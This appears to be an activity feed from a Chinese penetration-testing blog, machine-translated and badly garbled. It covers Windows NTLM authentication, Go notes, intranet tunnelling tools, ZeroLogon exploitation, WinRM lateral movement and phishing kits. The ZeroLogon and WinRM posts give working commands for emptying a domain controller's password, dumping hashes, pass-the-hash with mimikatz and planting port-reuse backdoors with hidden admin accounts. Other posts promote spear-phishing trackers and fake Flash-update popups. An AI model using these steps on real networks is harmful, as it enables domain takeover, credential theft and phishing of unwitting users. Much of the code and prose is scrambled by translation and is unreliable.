All Activity
- Yesterday
-
内网渗透|Windows认证机制剖析
Windows身份验证机制的分析:本地,工作组,域环境。 本地身份验证(用户登录) 概念 在本地登录Windows时,操作系统将使用用户输入的密码作为凭据来验证系统中的密码。操作系统中的密码存储在 当1%SystemRoot%\ System32 \ Config \ Sam登录到系统时,系统将在SAM文件中自动读取“密码”,并将其与我们输入的“密码”进行比较。如果相同的话,它证明了身份验证成功! 该SAM文件保留了计算机本地所有用户的凭据信息,可以将其理解为数据库。 ※注意:Windows本身并不能保存纯文本密码,仅保存密码哈希。 ntlm哈希的产生 NTLM Hash的前身是LM哈希。由于安全性缺陷,它已被消除。无需了解太多。只知道有这个东西。 假设我的密码是管理员,操作系统将把管理员转换为十六进制。在Unicode转换后,它将将MD4加密算法称为加密。该加密结果的十六进制系统是NTLM哈希。 123admin - hex(hex encoding)=61646d696e61646d696e - Unicode=610064006d0069006e00610064006d0069006e00 - MD4=209c6174da490caeb422f3fa5a7ae634 本地认证过程 123456winlogon.exe-接收用户输入-lsass.exe-(身份验证)1。在用户注销后,重新启动并锁定屏幕2。操作系统将使Winlogon显示登录界面,即输入框3。输入输入后,将密码置于PLASIT上,该过程将其存储在该流程中,将其存储在此过程中,该过程将其存储在此过程中。哈希,并比较SAM数据库Windows登录进程(即Winlogon.exe)的身份验证,该过程是Windows NT用户登录程序,用于管理用户登录和注销。 LSAS用于Microsoft Windows系统的安全机制。它用于本地安全性和登录策略。 net NTLM) 由于DC(域控制器)的参与过程,工作组环境和域环境中的NET NTLM身份验证过程略有不同,但这不会影响我们的哈希交付攻击。让我们在这里分开谈论它。 NTLM协议概念 此协议仅支持Windows NTLM作为网络身份验证协议,全名是:NT LAN Manager,它是基于挑战/响应身份验证机制的身份验证模式。 NTLM网络身份验证协议是一种使用NTLM哈希作为身份验证的基本证书的协议。消息的传输取决于使用NTLM的上层协议,例如SMB,LDAP,HTTP等。 工作组 NTLM协议身份验证过程 谈判:它主要用于确认双方之间的协议版本。 NTLM中有两个版本的V1和V2。具体的区别在于,加密方法是不同的,因此通常没有必要。 询问:有效的是挑战/响应身份验证机制的范围,也是身份验证机制的核心。 验证:验证主要验证询问完成后的结果,这是身份验证的最后一步。 谈判 问题 1. client将用户信息(用户名)请求发送到服务器。 2。接收到用户信息后,服务器确定是否存在本地帐户列表(如果不存在,则返回身份验证失败)。如果存在,它将生成一个16位随机数(挑战),然后使用与登录用户名相对应的NTLM哈希加密挑战(16位随机字符),并生成挑战1(net-ntlm hash)以存储在内存中。同时,向客户发送挑战(16位随机字符)。 3。在客户端收到服务器发送的挑战之后,请使用要登录到帐户的NTLM Hash加密挑战以生成响应(Net-NTLM Hash),然后将响应发送到服务器。 净NTLM哈希在此处介绍:NTLM哈希加密挑战的结果称为网络协议中的NET NTLM HASH(不能直接用于执行Hash Pass攻击,但是可以通过蛮力破解获得宣传密码)。 详细简介:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x03-net-net-ntlm-hash 服务器收到客户端发送的响应(net-ntlm hash)之后,它与以前存储在内存中存储的Challenge1(Net-NTLM Hash)进行比较。如果是平等的,则身份验证将通过。 现在,让我们看一下身份验证过程。清晰吗? NTLM协议身份验证过程 域NTLM身份验证过程下的域环境中的过程略有不同,因为有DC(域控制器)参与的工作组。 ①用户将登录到客户端计算机中。 ②客户端将协商消息发送到服务器,该消息主要包含客户端支持并由服务器请求的功能列表。 ③服务器响应挑战消息(挑战),其中包含服务器支持和同意的功能列表。但最重要的是,它包含服务器产生的挑战。 ④客户通过身份验证消息(响应)回答了这个问题。用户在步骤③中收到挑战后,他使用用户哈希和挑战来执行加密操作以获得响应,并将响应,用户名和挑战发送给服务器。消息中的响应(net-ntlm hash)是最关键的部分,因为它们向服务器证明了客户端用户已经知道帐户密码。 ⑤服务器获取身份验证消息(响应)后,使用挑战和用户哈希对其进行加密以获取响应2并将其与步骤3发送的响应进行比较。 目前,如果已经过身份验证的用户哈希存储在域控件中,则在本地没有身份验证的用户哈希,并且无法计算响应2,因此验证步骤⑤无法完成。因此,服务器将通过Netlogon协议联系域控制,建立安全的频道,然后将所有协商消息,挑战消息和身份验证消息(响应)发送到域控制(此过程也称为通过身份验证身份验证过程)。 ⑥域控制使用挑战和身份验证的用户的哈希对响应2进行加密,并将其与类型3的响应进行比较,以确定其是否一致。 ⑦完成认证过程。 参考文章 https://Daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x02-ntlm-shen-fen-fen-yan-zheng https://payloads.online/archivers/2018-11-30/1/ https://ares-x.com/2020/03/16/%E5%9f%9f%9F%E6%B8%97%E9%E9%80%80%8F%E5%AD%AD%A6%E4%B9%A 0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%AF%81%E6%9C%BA%E5%E5%88%B6/
-
Go语言学习笔记
参考(ctrl c+v)https://www.kancloud.cn/kancloud/the-way-to-to-go// 作为研究指出,仅记录关键点。 初始 平台和体系结构 GO语言开发团队为以下操作系统开发了一个编译器: Linux freebsd Mac OS X(也称为Darwin) 目前有2个编译器:GO Native编译器GC和非本地编译器GCCGO。两个编译器都在类似Unix的系统下工作。其中,编译器的GC版本已移植到Windows平台并集成到主分布中。您也可以通过安装MINGW在Windows平台上使用GCC编译器。两个编译器都以单通道形式工作。 您可以在以下平台上获得GO 1.4源代码和二进制文件: Linux 2.6+:AMD64,386和ARM架构 Mac OS X(Snow Leopard + Lion):AMD64和386架构 Windows 2000+:AMD64和386架构 GO环境变量 $ goroot表示GO在计算机上的安装位置。它的价值通常为$ home/go。当然,您也可以在其他地方安装它。 $ gacararch代表目标机器的处理器架构,其值可以为386,AMD64或ARM。 $ Goos代表目标机器的操作系统,其值可以是Darwin,FreeBSD,Linux或Windows。 $ Gobin代表编译器和链接器的安装位置。默认值为$ goroot/bin。如果您使用的是1.0.3及以后,则通常可以将其值设置为空。 GO将使用上述默认值。 安装目录列表 /bin:包含可执行文件,例如:编译器,GO工具 /doc:包含示例程序,代码工具,本地文档等。 /lib:包括文档模板 /MISC:包含与支持GO编辑器和CGO示例有关的配置文件 /os_arch:对象文件(.a)包含标准库的软件包 /src:包含源代码构建脚本和标准库的软件包的完整源代码(GO是开源语言) /src/cmd:包含GO和C的编译器和命令行脚本 GO DEBUGGER 使用打印语句在适当的位置输出相关变量(PRINT/PRINTLN和FMT.PRINT/FMT.PRINTLN/FMT.PRINTF)的值。 使用fmt.printf中的以下规范打印有关变量的相关信息:%+v打印包括字段在内的实例的完整信息 %#V打印有关一个实例的完整信息,包括字段和合格的类型名称 %t打印一种类型的完整描述 使用恐慌语句(第13.2节)获取堆栈跟踪信息(所有称为功能的列表,直到恐慌)。 使用关键字延期跟踪代码执行过程(第6.4节)。 构建和运行GO程序 在大多数IDE中,在构建每个程序并保存格式的源文件之前,自动调用源格式工具GOFMT。如果构建成功,将不会输出信息。当发生编译时错误时,它将指示源代码中发生了哪种错误线,例如:声明且未使用。通常,您可以双击IDE中的错误消息,然后直接跳到发生错误的线路。 如果程序顺利执行并成功退出,则将在控制台上输出的代码0的程序将输出。 从GO 1开始,请使用go构建应用程序的更方便的工具: 去构建编译并安装自己的软件包和依赖项 去安装自己的软件包和依赖项软件包 语言的核心结构和技术 基本结构和基本数据类型 你好world 123456789package mainimport ( 'fmt')func main() { fmt.Println('hello, world')} 包的概念 Package is a way of structured code: each program consists of the concept of a package (usually referred to as pkg), and can use its own package or从其他软件包导入内容。 软件包主是指可以独立执行的程序,并且每个GO应用程序包含一个称为MAIN的软件包。 所有包装名称均应使用小写字母。 注释 //单行注释/* xxxx */多行评论 功能 您可以在括号()中编写0个或更多函数的参数(使用逗号,分离),每个参数的名称必须随后是该参数的类型。 1func sum(a,b int)int {返回a + b} 类型 基本类型:int,float,bool,string 结构化(复合):结构,阵列,切片,地图,通道 结构化类型没有实际值,它将零作为默认值使用 键入转换 类型B=B=B=B=类型的值(A型值的值) 1valueofTypeb=typeb(valueoftypea) 常量 123456牛肉,两个,c=“肉”,2,“ veg” const,星期一,星期二,星期二,星期三,星期六,星期六,星期六=1、2、2、3、4、5、5、6const(星期一,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期四,星期四,星期四,星期四,星期四,星期四,33,星期四变量,将变量的类型放在变量的名称之后 123456789111121314151617VAR标识符类型多行自动根据变量VAR的值自动推断其类型(a=15 b=false=false='go hello hello to the the the World!'numships=50 city string)并行\ cam c=5,c=5,7,abc'abc''命名法,即第一个单词是小写,每个新单词的第一个字母是大写,例如:numships and Startdate 变量(常数,类型或功能)在程序中具有一定的动作范围,称为范围。 如果在功能主体之外声明变量,则它被视为一个全局变量,可以在整个软件包,外部软件包(导出后)中使用,无论您声明哪个源文件或您在哪个源文件中调用该变量。 在功能体中声明的变量称为局部变量,其范围仅在函数体内,而参数和返回值变量也是局部变量。 变量 函数FMT.print和fmt.println使用格式标识符%V自动格式化字符串,这两者都会在每个参数之间自动添加空格,而后者也在字符串末端添加了一个newline。例如: 123fmt.print('Hello:',23)将输出:Hello: 23 打印 该变量可以在全局声明中初始化,也可以在INIT函数中进行初始化。 它不能人为地调用,但是在初始化每个软件包后会自动执行,并且执行优先级高于主函数。 源文件只能包含一个初始化功能。初始化始终以一个线程执行,并按照软件包的依赖项顺序执行。 init.go 123456789包装传输'Math'var Pi float64func init(){pi=4 * MATH.ATAN(1)//init(1)//init(init()函数pi} pi} user_init.go imports intimpt trans(在同一路径中)并使用变量pi 123456789101112 package mainimport('fmt'./trans')var twopi=2*trans.pifunc main(){fmt.printf('2*pi=%g \ n',twopi,twopi)布尔类型只能是恒定的还是错误的 数字类型:整数int和浮点浮点 格式指定符:在格式字符串中,%d用于格式化整数(%x和%x用于格式化在十六进制中表示的数字),%g用于格式化浮点(%f输出浮点数,%e输出数量floing e uptucts e Outputs Scientific Countific Counting代表),并使用%0D来指定输出固定长度长度Integer,在此中必不可少。 数值转换:当转换A32BitInt=INT32(A32Float)时,将丢弃小数点后的数字。 复数:GO具有以下复数类型: 12COMPLEX64(32位真实和虚构)复杂128(64位真实和虚构)位操作:一元操作员:逐个位置补充^,左侧移动,右移,位右移动 二进制运算符:位和位,位或|,位Xor ^,位清除^ 逻辑运算符:==,=,=,= 算术运算符:可用于整数和浮点数的常见二进制运算符为+, - , *和/。 运营商和优先级: 一些操作员的优先级更高,二进制运算符的操作指示是从左到右的。下表列出了所有操作员及其优先级,从上到下,下到底到下,表示优先级从高到低: 12345678优先操作员7 ^! 6 * /% ^ 5 + - | ^ 4==!====3-2 1 ||当然,您可以通过使用括号暂时增加特定表达式的总体操作优先级。 类型别名:1Type tz int字符类型:char.go 1234567891111213VAR CH Int='\ u0041'var ch2 int='\ u03b2'var ch3 int='\ u00101234'fmt.printf('%d -%d -%d -%d -%d -%d -%d -%d -%d -%d -%d \ n',ch,ch2,ch2,ch3,ch3,ch3,ch3,ch3,ch3) CH2,CH3)//farmicfmt.printf('%x-%x -%x \ n',ch,ch2,ch3)//utf-8 bytesfmt.printf('%u -%u -%u -%u',ch,ch2,ch2,ch3,ch3)//utf -8代码点输出:65-946-10533336A--946-105332336A -R41-R4 101234U+0041 -U+03B2 -U+101234 init函数 字符串类型的零值是一个零长的字符串,即,一个空字符串''。 一般比较运算符(==,=,=,=,)实现了通过内存中字节对字符串的比较。您可以使用函数len()来获取字符串占据的字节长度,例如:len(str)。 字符串剪接字符+:两个字符串S1和S2可以通过S :=S1 +S2,S +='World'一起剪接。 解释字符串: 此类字符串包含在双引号中,相关的逃生字符将被替换,包括: \ n:断路 \ r:马车返回 \ t:选项卡键 \ u或\ u:unicode字符 \\:后斜线本身 非解释字符串: 这类字符串封闭在背部和支持线路断裂中,例如: 1`这是一个原始的字符串\ n`将按原样输出。 基本类型和操作员 12345678911112121415161718192022222222222224252627PACKAGE MAINIMPOAGE('fmt'time'time'time'time'time'time.durationfunc main()星期三12月21日09:52:14 +0100 rst 2011 fmt.printf('%02d。%02d。%4d \ n',t.month(),t.month(),t.year(),t.year(),//21.12.212.2011 t=time.now time.now() 08:52:14 +0000 UTC 2011 FMT.PRINTLN(time.now()) T.ADD(周) //星期三12月21日08:56:34 2011 FMT.PRINTLN(T.FORMAT('02 JAN 2006 15:04'))//)//21 DEC 2011 2011 083:52 S 3:=T. format(format 08:52:14 +0000 UTC 2011=20111221} 字符串 该程序将其值存储在内存中。每个内存块(或单词)都有一个地址,该地址通常由十六进制数字表示,例如:0x6B0820或0xF84001D7F0。 指针变量可以指向任何值的内存地址。它指向该值的内存地址,在32位计算机上占据4个字节,在64位机器上占据了8个字节,并且与指向的值的大小无关。 GO语言的地址字符是,它将在将其放置在变量上之前返回相应变量的内存地址。 指针类型之前是*编号(前缀),以获取指针指向的内容。 *数字是类型更换器。使用指针参考值称为间接参考。 当定义指针并且未分配给任何变量时,其值为零。 指针变量通常缩写为PTR。 示例:显示将新值分配给*p并更改变量自己的值(这是字符串) 12345678911112131415 package mainimport'fmt'func main(){s :='good byed bye'v var p *string=s *p='ciao'fmt.printf('这是指针p:%p:%p:%p3360%p33,在这里p33 prints prints prints prints p3 3 %s \ n', *p)//打印字符串fmt.printf('这是字符串s:%s \ n',s)//same string} outter}输出:这是指针p:0x2540820在此处,在此处是字符串*p: ciaohere是字符串S3333333:11010101010101010101010101010101010101010101010101010101010101010101033333333333333333333333333333333333333333333:10010 1234567891111213141516171920212222324IF条件1 {//如果条件2 {//做某事数字,例如3'+'or%s to doiT.'func init(){如果runtime.goos=='windows'{stript=fmt.sprintf(stript,'ctrl+z,enter')} else {//unix-like提示=fmt=fmt.sprintf(提示条件1:案例条件2: default:} 时间和日期 指针 123456789Package Mainimport'fmt'func Main(){for I :=0;我5; i ++ {fmt.printf('这是%d迭代\ n',i)}}} 控制结构 ,它可以迭代任何集合(包括数组和地图),其一般形式为:for IX,Val :=range coll {}。 val始终是集合中相应索引值的副本,因此它通常只有仅阅读属性,并且对其进行的任何修改都不会影响集合中的原始值(Translator的注释:如果Val是指指针,则将生成指针的副本,并且集合中的原始值仍可以修改) 123for pos,char :=范围str {.} if-else结构 破坏动作范围是出现此陈述后的最内向结构,可以以任何形式用于循环(反,有条件判断等)。但是在开关或选择语句中,断点语句的效果是跳过整个代码块并执行后续代码。 继续忽略剩余循环主体并直接进入下一个循环的过程,但是下一个循环并未无条件执行。在执行之前,仍需要满足循环的判断条件。 开关结构 ,用于,开关或选择语句可以与标签形式的标识符一起使用,即以一条线上的结肠(:)结尾的第一个单词(GOFMT将自动将后续代码移动到下一行)。 123456789 label1: for I :=0; i=5; i ++ {for J :=0; j=5; J ++ {如果J==4 {继续Label1} fmt.printf('I IS:%D,和J IS:%D \ n',I,i,j)}}}}}}}}}}}}} 对于结构 -1010 3333660010 :010 基于反迭代 10101010101010101011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111马云惹不起马云191199来实间mainimport'fmt'func main(){fmt.printf('乘2 * 5 * 5 * 6=%d \ n',乘数3nums(2,5,6))//var i1 int=var i1 int=multiply3nums(2,5,5,5,6) int,c int)int {//var product int=a * b * c //返回产品返回产品a * b * c}输出显示:倍数2 * 5 * 6=60 3 范围结构 getx2andx3带有getx2andx3_2的两个函数演示如何使用非命名返回值和命名返回值。当需要返回多个非命名返回值时,需要使用(int,int)封闭它们。 12345678910111213141516171819202122232425262728package mainimport 'fmt'var num int=10var numx2, numx3 intfunc main() { numx2, numx3=getX2AndX3(num) PrintValues() //Output: num=10, 2x num=20, 3x num=30 numx2,numx3=getx2andx3_2(num)printValues()//输出:num=10,2x num=20,3x num=30} func printValues(){fmt.printf('num=%=%d,2x num=%d,2x num=%d,3x num=%d d \ n',num=%d \ n',numx got func func func func func func func inct func func func funct func func inct func functx Intup(func) int){return 2 * input,3 * input} func getx2andx3_2(input int)(x2 int,x3 int){x2=2 * input x3=3 * input //return x2,return x2,x3 return} :01 休息并继续 whitespace字符用于匹配某些不需要的值并匹配某些不良的值并使其canduct缩。 TrixValues是一个具有三个不需要任何参数的返回值的函数。在下面的示例中,我们将第一个和第三个返回值分配给I1和F1。第二个返回值分配给空白符号_,然后自动丢弃。 123456789111121314PACKAGE MAINIMPORT'fmt'func Main
-
内网渗透|内网传输通道的建立
建立Intranet传输通道。 判断它是否不在互联网上 1234Ping : ICMPCURL : HTTP NSLOOKUP : DNS NS NS NS NS NS端口: TCP Intranet渗透网络环境很复杂,并且有许多工具。有时您必须考虑自由杀人。如果您了解该原则,请找到适合您的原则。本文不会写太多关于使用工具的文章。有时间时使用命令〜 正向代理 概念 向前代理是指位于客户端和原始服务器之间的服务器。为了从原始服务器获取内容,客户端将请求发送到代理并指定目标(原始服务器),然后代理将请求转发到原始服务器并将获得的内容返回给客户端,以便客户端可以使用远期代理。 用法方案 注意:不需要公共网络的VPS1。目标主机具有公共网络IP。 常见工具: https://github.com/eddieivan01/iox http://Rootkiter.com/earthworm/ 2。目标主机具有Web服务,并且不连接到外部网络,并支持动态脚本PHP,ASPX和JSP。 常见工具: https://github.com/l-codes/neo-regeorg https://github.com/funnywolf/pystinger https://github.com/blackarrowsec/pivotnacci 反向代理 概念 反向代理服务器位于用户和目标服务器之间,但是对于用户,反向代理服务器等于目标服务器,也就是说,用户可以通过直接访问反向代理服务器来获得目标服务器的资源。 用法方案 注意:公共网络VPS目标主机需要连接到外部网络。 常见工具: https://github.com/vzex/dog-tunnel https://github.com/eddieivan01/iox https://github.com/fatedier/frp/ https://github.com/ehang-io/nps http://Rootkiter.com/earthworm/ 用于隔离网络的多级代理 概念 在Intranet穿透过程中,将遇到一个孤立的网络,这在逻辑上更孤立。突破方法是获得可访问的弹簧板机器(多个网卡,操作和维护机等)的权限,并建立第一级二级代理和第三级代理. 注意:适应更改的常见工具: http://Rootkiter.com/earthworm/ https://github.com/ginuerzh/gost https://github.com/dliv3/venom Windows [NetSh]和Linux [SSH]自己的程序和ICMMP协议的流量转发也没有一些端口转发,但通常不使用它们,因此我现在会写很多。
-
域渗透|ZeroLogon的利用
CVE-2020-1472 https://www.anquanke.com/post/id/219374 本文提到了一种适用于无法恢复其他方法的方法 DeDomain之后,您可以使用PowerShell强制同步并一次重置计算机的机器帐户密码。 (包括AD,注册表,LSA中的密码)。 1powershell Reset-ComputerMachinePassword 环境 12 Domain: AAAA.COMDC: LX-DC01.AAAA.COM -ip- 192.168.1.4 Python版本 poc https://github.com/SecuraBV/CVE-2020-1472 1Python3 Zerologon_tester.py LX-DC01 192.168.1.4 安装爆炸式 12GIT克隆https://GITHUB.COM/SECUREAUTHCORP/IMPACKET.GITCD impacket pip3 install。 漏洞利用 https://github.com/risksense/zerologon-set_empty_pw.py 1python3 set_empty_pw.py LX-DC01 192.168.1.4 获取域管理员的哈希 1python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass 使用wmiexec 使用“管理员”哈希获取域管理权限 1python3 wmiexec.py -hashes :BE833AC3F39C0F843B1B653D37C34DBE AAAA.com/administrator@1192.168.1.4 获取目标原始哈希 1010 123REG SAVE HKLM \ hklm \ hklm \ saveg System.savereg Sake Save Save Save HKLM \ Sam.secore Security 33 33 33 33 33 33 33 33 33 123get system.saveget sam.saveget Security.save put点:此步骤可能导致Python无法下载1234个以不同语言的编码。 You can first get the following language and then search for the corresponding encoding https://docs.python.org/3/library/codecs.html specify the following encoding python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe aaaaa.com/administrator@192.168.1.4 -codec GB2312也可以使用Net用途将文件复制回1234567mimi注射hash hash中cmdprivilege:333:Debugsakurlsakurlsa33333333333333333333333333:ISTRITAR /domain:AAAA /NTLM:BE833AC3AC3F39C0F843B1B653D37C34C34DBENET使用\ \ 192.168.1.1.4copy \\ \ \ \ \ 192.168.1.1.1.1.1.4 \ c $ \ c $ \ c $ \ c333333333333: \ c3: \ \\192.168.1.4\c$\sam.save c:\sam.savecopy \\192.168.1.4\c$\security.save c:\security.save 将导出的哈希文件下载到本地 123del /f system.savedel /f sam.savedel /f security.save 删除域控制主机上导出的哈希文件。 1Python3 SecretSdump.py -sam sam.sam.save -System System.Save -security Security.Save local 使用SecretsDump读取下载到局部区域的哈希文件,并获取原始哈希域控制机器帐户位于前所未有的位置 建议使用:脚本可能缺少XXX软件包,导致错误。我还没有弄清楚原因是什么 https://github.com/mstxq17/cve-2020-1472-RestorePassword.py 1Python3 RestorePassword.py aaaa.com/lx-dc01@lx-dc01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f96956 3803B0F1BAE7CCD24B29B41AE611025F1952793562D73E7F4E7F4E0F4E0F8938B3361332B3 5DD5EE222785B79B922149DB32DC5C9301F4F4FD9FD090F532575BF5197A9C9230955 BFD96AB928AE66B3999730C75B8545E26770816F21F21F2BF9DBBBBB19432211A91224C 4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240 bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960不建议:更暴力,将再次调用,并且使用空密码的哈希来计算session_key https://github.com/risksense/zerologon -renstall_original_pw.py 1Python3 Reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_IP_IP_ADDR ORIG_NT_HASH 密码恢复 :010 mimikatz版本 1 SHELL C: \ INTEL \ INTEL \ MIMIKATZ.EXE /counch:lx-dc01 $''exit'1lsadump:zerologon /target:192.168.1.4 /councel:lx-dc01 $ :010101010110110 1shell C: \ intel c: 'lsadump:3:zerologon /target:lx-dc01.aaaa.com /counce:lx-dc01 $ /exploit'E exit'1lsAdump:3333:zerologon /target 3:lx-dcell ofer C:\Intel\mimikatz.exe 'lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAA /authpassword: /authntlm' 'exit'1lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAAA /authpassword: /authntlm poc 1shell C:\Intel\mimikatz.exe 'privilege:debug' 'sekurlsa:pth /user:administrator /domain:AAAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe' 'exit12privilege:debugsekurlsa:pth /user:administrator /domain:AAAAA /NTLM:BE833AC3F39C0F843B1B653D37C34DBE 漏洞利用 1 SHELL C: \ INTEL \ MIMIKATZ.EXE'lsAdump333333:posterologon /Terogolologon /tarogolologon /tarogologon.44.44.44.44.44.444.44。 /counch:lx-dc01 $''exit'1lsadump:3:postzerologon /target:192.168.1.4 /councor3:lx-dc01 $ $
-
鱼叉攻击|Mail-Probe 邮箱探针后台管理系统
一个好的钓鱼竿和诱饵很重要,但是真正将鱼与渔夫联系起来的是小浮标。 效果预览 当您在河边钓鱼时,您必须使用浮子来知道河里是否有鱼来吃诱饵。同样,当发送电子邮件时,该探测器可以确定目标是否点击了电子邮件,因此不难等待。 背景登录 信息视图 链接生成 此程序通过php中的readfile()函数读取本地图像。如果使用自定义图像,请在公共目录中替换info.png。这里的图片可以使用目标公司的徽标。 配置相关 基于ThinkPhp 6开发 操作环境需要Apache和Php7.1+ 数据库文件是mail.sql 数据库和其他配置可以修改为env文件,默认值为 1234567891011121314151617APP_DEBUG=false[APP]DEFAULT_TIMEZONE=Asia/Shanghai[DATABASE]TYPE=mysqlHOSTNAME=127.0.0.1DATABASE=mailUSERNAME=rootPASSWORD=rootHOSTPORT=3306CHARSET=utf8DEBUG=false[LANG]default_lang=ZH-CN背景默认帐户密码(您可以通过修改密码直接替换库中的MD5) 1admin | 123456 下载地址 谢谢 @c1y2m3共享想法
- 2020年度总结
- 一星期实战总结(四)
-
水坑攻击|Flash钓鱼弹窗优化版
同一句子:闪光永远是上帝〜 我一直想用更精致的界面编写闪光钓鱼,但是实现各种效果有点麻烦。我碰巧找到了图层的令人敬畏的子弹层组件。一开始,我直接使用了图片并获得了几行代码,但它仍然不完美。后来,我将其发布到T00L,每个人都集思广益,并提出了一些非常好的建议。经过几次修改后,在下面找到了最终版本。 在线预览:http://Flash-pop.se7ensec.cn/ 有人说闪光不容易使用。我觉得分析对方做什么并进行一些自动化和定制效果很好是一个好主意。在线费率实际上很高。 项目地址:https://github.com/r00tse7en/flash-pop
-
在线肾透测试中心
“实现他人是一个伟大的行为,我将最终实施它。” ——HL0REY 作为肾脏缺乏症,我们通常需要使用各种在线网站收集信息,加密和解密以及数据处理. 随着浏览器的最爱变得越来越多的类别,找到URL然后打开它变得越来越麻烦。因此,我花了一些时间组织它并将其制作到导航页面中,并且该页面内容将不时更新。 无需担心某种类型的网站的重复,我不知道哪一个更好地使用。基本上,我自己使用了所有这些。请注意,“推荐”只是感觉很好。 我个人认为,通过在线网站的各种功能收集信息的工作中有60%完全可以。我希望这对阅读文章的您会有所帮助〜 在线工具-Nephropermeabiality Testing Center -https://gitbook.se7ensec.cn/
-
内网渗透|基于winRM的横向移动
基于WINRM的水平运动 WinRM介绍 WINRM(Windows Remote Management)是Microsoft的实现WS-Management协议,WS-Management协议是一种基于标准的简单对象访问协议(SOAP)的防火墙友好型协议,该协议允许来自不同供应商的硬件和操作系统可互操作。 Windows远程执行命令的众多方法之一。 作为DCOM和WMI远程管理的替代方案,WinRM用于通过WSMAN与远程计算机建立会话,WSMAN使用HTTP/S作为传输机制来传递XML-Format消息。在现代Windows系统中,WINRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986通信。 WinRM本地支持NTLM和Kerberos(域)身份验证。初始身份验证后,使用AES加密(Microsoft Docs)保护WinRM会话。 注意:必须配置WINRM服务并运行以接受远程连接。 WinRM接受连接可能需要多个步骤。有关更多信息,请参阅此Pentest Lab文章。 Winrm横向运动适用于工作组和域环境。 用户条件 交流的双方都需要启用WinRM服务 WINR适用于Win Server 2008/Win7和后来的系统,但是Win Server 2008/PC完整版系统默认情况下关闭。 WinRM 2012之后的WinRM Service的版本启动并默认为端口5985,从而允许远程任意主机进行管理。 WINRM状态查询 12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | Where-Object {$_.name -like 'WinRM'} ExitCode : 1077Name : WinRMProcessId : 0StartMode : ManualState : StoppedStatus : OK to enable one of the following commands 12winrm QuickConfig -Q #Q#Q#在运行此命令后,将自动添加防火墙异常规则,并发布端口5985。再次启用psremoting -force查询 12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | where-object {$ _。名称-like'winrm'} exitCode : 0name : winrmprocessid : 1128StartMode : AutoState : RunningStatus : OK 服务器防火墙允许WINRM服务端口通信 ok WinRM通信两端的可配置性要求 Default IS 5986; 5986; 5986;如果5985启动但5986关闭,则WINRM服务被配置为仅接受HTTP连接。要修改默认端口,您可以使用以下内容: 1winrm设置winrm/config/侦听器?地址=*+transper=http @{port='80'} 远程管理 1)检查WinRM的特定配置 1winrm get winrm/config2)允许所有客户端IP连接 12winrm设置winrm/config/client @{trustedhost='*'} winrm e winrm/config/linterer #view听力地址和端口 远程命令执行 您在连接远程连接时可能会遇到以下错误 123winrs error:winrm客户端无法处理请求。默认身份验证可以与以下条件下的IP地址结合使用:传输https,或者目的地在TrustedHosts列表中,并提供明确的凭据。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。有关如何设置TrustedHosts的更多信息,请运行以下命令: WINRM帮助配置。 winrs error:winrm客户端无法处理请求。如果身份验证方案与Kerberos不同,或者未连接到域的客户端计算机,则必须使用HTTPS传输,否则必须将目标计算机添加到TrustedHosts配置设置中。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。可以通过运行以下命令: WINRM帮助配置来获得有关此内容的更多信息。在攻击机上执行以下命令,将其设置为信任所有主机,然后连接 12345678910111213141516C:\Users\Administratorwinrm set winrm/config/Client @{TrustedHosts='*'} Client NetworkDelayms=5000 URLPrefix=wsman AllowUnencrypted=false Auth Basic=true Digest=true Kerberos=true Negotiate=true Certificate=true CredSSP=false DefaultPorts http=5985 https=5986 TrustedHost=* 获取交互式外壳 12C: \ USESS \ USESER \ indercandatorWinrs -R:192.168.86.114 -U33333333333333333333333333332.168.86.114.114! whoamiwin -win7 \管理员 使用工具 12345678911111213141516171920C3333: \ USERS \ ascristaratorWinrs -R3:192.168.86.86.114 -U3333:192.192.192.1192.1162.1146.114 \ \ \ \ f. -3360123456!@#$%cmdmicrosoft Windows [版本6.1.7601]保留所有权利(C)2009 Microsoft Corporation。版权所有。 C: \ Users \ aDministoratorIpConfigWindows IP配置以太网适配器本地连接:连接到特定的DNS后缀。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 https://github.com/bohops/wsman-winrm WSMAN-WINRM 模块功能 目标端口 目标系统 用法教程 Winrm爆炸 港口5985/5986 视窗 http://K8GE.org/ladon/winrmscan.html winrmexec 5985 视窗 http://K8GE.org/ladon/winrmexec.html 拉登 其他实用程序 如果目标打开WinRM,则可以使用Peekaboo工具启用目标3389 打开远程主机3389 即使端口是Web服务,它也不会影响Web服务。使用如下 1)配置目标winrm服务,更改听力端口以启用重复使用 12winrm设置winrm/config/listorer?地址=*+transport=http @{port='80'} winrm set winrm/config/config/service @{enableCompatibalizyhtttplistener='true'} 2)链接目标 1Winrs -R:192.168.86.114 -U:192.168.86.114 \ Administrator -:123456!@$%whoami此方法适用于Web Services的机器。它不会打开新端口。它与添加隐藏的管理员用户合作,这是非常隐藏的。 端口多路复用后门 http://T3NGYU.leanote.com/post/lm-winrm-winrs 